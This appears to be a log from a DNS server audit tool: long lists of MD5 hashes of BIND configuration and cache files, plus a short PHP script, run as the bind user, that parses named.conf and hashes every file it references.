MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= da429f1b684d9c3bb05c418a195ceb7e
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 5c27bd546fb502ce3d4635f83c2fb039
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= 90d11419a458de092b42a669de715701
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-03-14 11:49:41: Establishing a connection
2026-03-14 11:49:42: 

PUT: /tmp/pkp221689

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-03-14 11:49:42: 

runuser -l bind -s /bin/bash -c '/tmp/pkp221689; rm /tmp/pkp221689'

2026-03-14 11:49:42: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 0ef694a7641428c526ed26173b33ce38
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= da429f1b684d9c3bb05c418a195ceb7e
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 5c27bd546fb502ce3d4635f83c2fb039
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
